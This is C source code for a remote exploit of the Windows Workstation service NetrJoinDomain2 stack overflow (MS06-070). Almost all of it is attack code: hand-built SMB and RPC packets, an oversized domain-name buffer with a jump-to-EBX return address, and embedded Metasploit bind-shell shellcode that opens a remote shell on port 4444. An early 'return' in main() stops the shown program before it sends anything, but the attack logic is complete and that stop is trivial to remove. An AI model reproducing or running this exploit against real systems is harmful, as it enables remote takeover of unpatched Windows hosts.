Microsoft Windows Wkssvc NetrJoinDomain2 Stack Overflow(MS06-070) Exploit

by cocoruder(frankruder_at_hotmail.com),2006.11.15
page:http://ruder.cdut.net/default.asp

successfully test on Windows 2000 Server SP4(chinese)

usage:
ms06070 targetip DomainName

notice:
Make sure the DomainName is valid and live,more informations see
http://research.eeye.com/html/advisories/published/AD20061114.html,
cocoruder just research the vulnerability and give the exploit for
Win2000.
****************************************************************************/

#include <stdio.h>
#include <windows.h>
#include <winsock.h>
#include <tchar.h>

unsigned char SmbNeg[] =
"\x00\x00\x00\x2f\xff\x53\x4d\x42\x72\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x88\x05\x00\x00\x00\x00\x00\x0c\x00\x02\x4e\x54"
"\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00";

unsigned char Session_Setup_AndX_Request[]=
"\x00\x00\x00\x48\xff\x53\x4d\x42\x73\x00"
"\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\xff\xff\x88\x05\x00\x00\x00\x00\x0d\xff\x00\x00\x00\xff"
"\xff\x02\x00\x88\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x01\x00\x00\x00\x0b\x00\x00\x00\x6e\x74\x00\x70\x79\x73\x6d"
"\x62\x00";

unsigned char TreeConnect_AndX_Request[]=
"\x00\x00\x00\x58\xff\x53\x4d\x42\x75\x00"
"\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\xff\xfe\x00\x08\x00\x03\x04\xff\x00\x58\x00\x08"
"\x00\x01\x00\x2d\x00\x00\x5c\x00\x5c\x00\x31\x00\x37\x00\x32\x00"
"\x2e\x00\x32\x00\x32\x00\x2e\x00\x35\x00\x2e\x00\x34\x00\x36\x00"
"\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00\x3f\x3f\x3f\x3f"
"\x3f\x00";

unsigned char NTCreate_AndX_Request[]=
"\x00\x00\x00\x64\xff\x53\x4d\x42\xa2\x00"
"\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x08\x04\x0c\x00\x08\x00\x01\x18\xff\x00\xde\xde\x00"
"\x0e\x00\x16\x00\x00\x00\x00\x00\x00\x00\x9f\x01\x02\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x01\x00"
"\x00\x00\x40\x00\x40\x00\x02\x00\x00\x00\x01\x11\x00\x00\x5c\x00"
"\x77\x00\x6b\x00\x73\x00\x73\x00\x76\x00\x63\x00\x00\x00";

unsigned char Rpc_Bind_Wkssvc[]=
"\x00\x00\x00\x92\xff\x53\x4d\x42\x25\x00"
"\x00\x00\x00\x18\x01\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x01\x08\xf0\x0b\x03\x08\xf7\x4c\x10\x00\x00\x48\x00\x00"
"\x04\xe0\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4a"
"\x00\x48\x00\x4a\x00\x02\x00\x26\x00\x01\x40\x4f\x00\x5c\x50\x49"
"\x50\x45\x5c\x00\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00"
"\x00\x00\x00\x00\xd0\x16\xd0\x16\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x01\x00\x98\xd0\xff\x6b\x12\xa1\x10\x36\x98\x33\x46\xc3"
"\xf8\x7e\x34\x5a\x01\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11"
"\x9f\xe8\x08\x00\x2b\x10\x48\x60\x02\x00\x00\x00";

unsigned char Rpc_NetrJoinDomain2_Header[]=
"\x00\x00\x00\xa8\xff\x53\x4d\x42\x25\x00"
"\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x08\x6c\x07\x00\x08\xc0\x01\x10\x00\x00\x54\x00\x00"
"\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54"
"\x00\x54\x00\x54\x00\x02\x00\x26\x00\x00\x40\x65\x00\x00\x5c\x00"
"\x50\x00\x49\x00\x50\x00\x45\x00\x5c\x00\x00\x00\x00\x00\x05\x00"
"\x00\x03\x10\x00\x00\x00\x54\x00\x00\x00\x01\x00\x00\x00\x3c\x00"
"\x00\x00\x00\x00"
"\x16\x00" //opnum,NetrJoinDomain2
"\x30\x2a\x42\x00"
"\x0e\x00\x00\x00"
"\x00\x00\x00\x00"
"\x0e\x00\x00\x00"
"\x5c\x00\x5c\x00\x31\x00\x37\x00\x32\x00"
"\x2e\x00\x32\x00\x32\x00\x2e\x00\x35\x00\x2e\x00\x34\x00\x31\x00"
"\x00\x00"
"\x10\x01\x00\x00"
"\x00\x00\x00\x00"
"\x10\x01\x00\x00";

unsigned char Rpc_NetrJoinDomain2_End[]=
"\x00\x00\x00\x00"
"\x00\x00\x00\x00"
"\x00\x00\x00\x00"
"\x01\x00\x00\x00";

unsigned char *lpDomainName=NULL;
DWORD dwDomainNameLen=0;

/* win32_bind - EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub
http://metasploit.com */
unsigned char shellcode[] =
"\x2b\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x6e"
"\xd2\x50\xd3\x83\xeb\xfc\xe2\xf4\x92\xb8\xbb\x9e\x86\x2b\xaf\x2c"
"\x91\xb2\xdb\xbf\x4a\xf6\xdb\x96\x52\x59\x2c\xd6\x16\xd3\xbf\x58"
"\x21\xca\xdb\x8c\x4e\xd3\xbb\x9a\xe5\xe6\xdb\xd2\x80\xe3\x90\x4a"
"\xc2\x56\x90\xa7\x69\x13\x9a\xde\x6f\x10\xbb\x27\x55\x86\x74\xfb"
"\x1b\x37\xdb\x8c\x4a\xd3\xbb\xb5\xe5\xde\x1b\x58\x31\xce\x51\x38"
"\x6d\xfe\xdb\x5a\x02\xf6\x4c\xb2\xad\xe3\x8b\xb7\xe5\x91\x60\x58"
"\x2e\xde\xdb\xa3\x72\x7f\xdb\x93\x66\x8c\x38\x5d\x20\xdc\xbc\x83"
"\x91\x04\x36\x80\x08\xba\x63\xe1\x06\xa5\x23\xe1\x31\x86\xaf\x03"
"\x06\x19\xbd\x2f\x55\x82\xaf\x05\x31\x5b\xb5\xb5\xef\x3f\x58\xd1"
"\x3b\xb8\x52\x2c\xbe\xba\x89\xda\x9b\x7f\x07\x2c\xb8\x81\x03\x80"
"\x3d\x81\x13\x80\x2d\x81\xaf\x03\x08\xba\x41\x8f\x08\x81\xd9\x32"
"\xfb\xba\xf4\xc9\x1e\x15\x07\x2c\xb8\xb8\x40\x82\x3b\x2d\x80\xbb"
"\xca\x7f\x7e\x3a\x39\x2d\x86\x80\x3b\x2d\x80\xbb\x8b\x9b\xd6\x9a"
"\x39\x2d\x86\x83\x3a\x86\x05\x2c\xbe\x41\x38\x34\x17\x14\x29\x84"
"\x91\x04\x05\x2c\xbe\xb4\x3a\xb7\x08\xba\x33\xbe\xe7\x37\x3a\x83"
"\x37\xfb\x9c\x5a\x89\xb8\x14\x5a\x8c\xe3\x90\x20\xc4\x2c\x12\xfe"
"\x90\x90\x7c\x40\xe3\xa8\x68\x78\xc5\x79\x38\xa1\x90\x61\x46\x2c"
"\x1b\x96\xaf\x05\x35\x85\x02\x82\x3f\x83\x3a\xd2\x3f\x83\x05\x82"
"\x91\x02\x38\x7e\xb7\xd7\x9e\x80\x91\x04\x3a\x2c\x91\xe5\xaf\x03"
"\xe5\x85\xac\x50\xaa\xb6\xaf\x05\x3c\x2d\x80\xbb\x9e\x58\x54\x8c"
"\x3d\x2d\x86\x2c\xbe\xd2\x50\xd3";

DWORD fill_len_1 =0x84c; //fill data
DWORD fill_len_2 =0x1000; //fill rubbish data
DWORD addr_jmp_ebx=0x77f81573; //jmp ebx address,in ntdll.dll
unsigned char code_jmp8[]= //jmp 8
"\xEB\x06\x90\x90";

unsigned char *Rpc_NetrJoinDomain2=NULL;
DWORD dwRpc_NetrJoinDomain2=0;

unsigned char recvbuff[2048];

void showinfo(void)
{
printf("Microsoft Windows Wkssvc NetrJoinDomain2 Stack Overflow(MS06-070) Exploit\n");
printf("by cocoruder(frankruder_at_hotmail.com),2006.10.15\n");
printf("page:http://ruder.cdut.net/default.asp\n\n");
printf("successfully test on Windows 2000 Server SP4(chinese)\n\n");
printf("usage:\n");
printf("ms06070 targetip DomainName\n\n");
printf("notice:\n");
printf("Make sure the DomainName is valid and live,more informations
see\n");
printf("http://research.eeye.com/html/advisories/published/AD20061114.html,\n");
printf("cocoruder just research the vulnerability and give the exploit for Win2000.\n\n\n");

}

void neg ( int s )
{
char response[1024];

memset(response,0,sizeof(response));

send(s,(char *)SmbNeg,sizeof(SmbNeg)-1,0);
}

void MakeAttackPacket(char *lpDomainNameStr)
{
DWORD j,len,b_flag;

dwDomainNameLen=(strlen(lpDomainNameStr)+2)*2;
lpDomainName=(unsigned char *)malloc(dwDomainNameLen);

memset(lpDomainName,0,dwDomainNameLen);

MultiByteToWideChar(CP_ACP,0,lpDomainNameStr,-1,(LPWSTR)lpDomainName,dwDomainNameLen);

*(unsigned char *)(lpDomainName+dwDomainNameLen-2)=0x5C;
*(unsigned char *)(lpDomainName+dwDomainNameLen-4)=0x5C;

len=dwDomainNameLen+ //DomainName
fill_len_1-3*2+ //fill_len_1
4+ //jmp 8
4+ //addr jmp ebx
sizeof(shellcode)-1+ //shellcode
fill_len_2+ //fill_len_2
2; //0x0000

b_flag=0;
if (len%2==1)
{
len++;
b_flag=1;
}

dwRpc_NetrJoinDomain2=sizeof(Rpc_NetrJoinDomain2_Header)-1+
len+
sizeof(Rpc_NetrJoinDomain2_End)-1; //end

//malloc
Rpc_NetrJoinDomain2=(unsigned char *)malloc(dwRpc_NetrJoinDomain2);
if (Rpc_NetrJoinDomain2==NULL)
{
printf("malloc error!\n");
return;
}

//fill nop
memset(Rpc_NetrJoinDomain2,0x90,dwRpc_NetrJoinDomain2);

j=sizeof(Rpc_NetrJoinDomain2_Header)-1;

//update para1 length
*(DWORD *)(Rpc_NetrJoinDomain2_Header+j-0x0c)=len/2;
*(DWORD *)(Rpc_NetrJoinDomain2_Header+j-0x04)=len/2;

//copy header

memcpy(Rpc_NetrJoinDomain2,Rpc_NetrJoinDomain2_Header,sizeof(Rpc_NetrJoinDomain2_Header)-1);

j=sizeof(Rpc_NetrJoinDomain2_Header)-1;

//copy DomainName
memcpy(Rpc_NetrJoinDomain2+j,lpDomainName,dwDomainNameLen);
j=j+dwDomainNameLen;

//calculate offset
j=j+fill_len_1-3*2;

//jmp 8
memcpy(Rpc_NetrJoinDomain2+j,code_jmp8,sizeof(code_jmp8)-1);
j=j+4;

//jmp ebx address
*(DWORD *)(Rpc_NetrJoinDomain2+j)=addr_jmp_ebx;
j=j+4;

//copy shellcode
memcpy(Rpc_NetrJoinDomain2+j,shellcode,sizeof(shellcode)-1);
j=j+sizeof(shellcode)-1;

//fill data
memset(Rpc_NetrJoinDomain2+j,0x41,fill_len_2);
j=j+fill_len_2;

//0x0000(NULL)
if (b_flag==0)
{
Rpc_NetrJoinDomain2[j]=0x00;
Rpc_NetrJoinDomain2[j+1]=0x00;
j=j+2;
}
else if (b_flag==1)
{
Rpc_NetrJoinDomain2[j]=0x00;
Rpc_NetrJoinDomain2[j+1]=0x00;
Rpc_NetrJoinDomain2[j+2]=0x00;
j=j+3;
}

//copy other parameter

memcpy(Rpc_NetrJoinDomain2+j,Rpc_NetrJoinDomain2_End,sizeof(Rpc_NetrJoinDomain2_End)-1);

j=j+sizeof(Rpc_NetrJoinDomain2_End)-1;

}

void main(int argc,char **argv)
{
WSADATA ws;
struct sockaddr_in server;
SOCKET sock;
DWORD ret;
WORD userid,treeid,fid;

showinfo();

return;

WSAStartup(MAKEWORD(2,2),&ws);

sock = socket(AF_INET,SOCK_STREAM,0);
if(sock<=0)
{
return;
}

server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr(argv[1]);
server.sin_port = htons((USHORT)445);

printf("[+] Connecting %s\n",argv[1]);

ret=connect(sock,(struct sockaddr *)&server,sizeof(server));
if (ret==-1)
{
printf("connect error!\n");
return;
}

neg(sock);

recv(sock,(char *)recvbuff,sizeof(recvbuff),0);

ret=send(sock,(char *)Session_Setup_AndX_Request,sizeof(Session_Setup_AndX_Request)-1,0);
if (ret<=0)
{
printf("send Session_Setup_AndX_Request error!\n");
return;
}
recv(sock,(char *)recvbuff,sizeof(recvbuff),0);

userid=*(WORD *)(recvbuff+0x20); //get userid

memcpy(TreeConnect_AndX_Request+0x20,(char *)&userid,2); //update userid

ret=send(sock,(char *)TreeConnect_AndX_Request,sizeof(TreeConnect_AndX_Request)-1,0);
if (ret<=0)
{
printf("send TreeConnect_AndX_Request error!\n");
return;
}
recv(sock,(char *)recvbuff,sizeof(recvbuff),0);

treeid=*(WORD *)(recvbuff+0x1c); //get treeid

//send NTCreate_AndX_Request
memcpy(NTCreate_AndX_Request+0x20,(char *)&userid,2); //update userid
memcpy(NTCreate_AndX_Request+0x1c,(char *)&treeid,2); //update treeid

ret=send(sock,(char
*)NTCreate_AndX_Request,sizeof(NTCreate_AndX_Request)-1,0);
if (ret<=0)
{
printf("send NTCreate_AndX_Request error!\n");
return;
}
recv(sock,(char *)recvbuff,sizeof(recvbuff),0);

fid=*(WORD *)(recvbuff+0x2a); //get fid

//rpc bind

memcpy(Rpc_Bind_Wkssvc+0x20,(char *)&userid,2);
memcpy(Rpc_Bind_Wkssvc+0x1c,(char *)&treeid,2);
memcpy(Rpc_Bind_Wkssvc+0x43,(char *)&fid,2);
*(DWORD *)Rpc_Bind_Wkssvc=htonl(sizeof(Rpc_Bind_Wkssvc)-1-4);

ret=send(sock,(char *)Rpc_Bind_Wkssvc,sizeof(Rpc_Bind_Wkssvc)-1,0);
if (ret<=0)
{
printf("send Rpc_Bind_Wkssvc error!\n");
return;
}
recv(sock,(char *)recvbuff,sizeof(recvbuff),0);

MakeAttackPacket((char *)argv[2]);

memcpy(Rpc_NetrJoinDomain2+0x20,(char *)&userid,2);
memcpy(Rpc_NetrJoinDomain2+0x1c,(char *)&treeid,2);
memcpy(Rpc_NetrJoinDomain2+0x43,(char *)&fid,2);
*(DWORD *)Rpc_NetrJoinDomain2=htonl(dwRpc_NetrJoinDomain2-4);

*(WORD *)(Rpc_NetrJoinDomain2+0x27)=dwRpc_NetrJoinDomain2-0x58; //update Total Data Count
*(WORD *)(Rpc_NetrJoinDomain2+0x3b)=dwRpc_NetrJoinDomain2-0x58; //update Data Count
*(WORD *)(Rpc_NetrJoinDomain2+0x45)=dwRpc_NetrJoinDomain2-0x47; //update Byte Count
*(WORD *)(Rpc_NetrJoinDomain2+0x60)=dwRpc_NetrJoinDomain2-0x58; //update Frag Length

ret=send(sock,(char *)Rpc_NetrJoinDomain2,dwRpc_NetrJoinDomain2,0);
if (ret<=0)
{
printf("send Rpc_NetrJoinDomain2 error!\n");
return;
}

printf("[+] Send attack packet successfully.telnet %s:4444?\n",argv[1]);

recv(sock,(char *)recvbuff,sizeof(recvbuff),0);

closesocket(sock);

}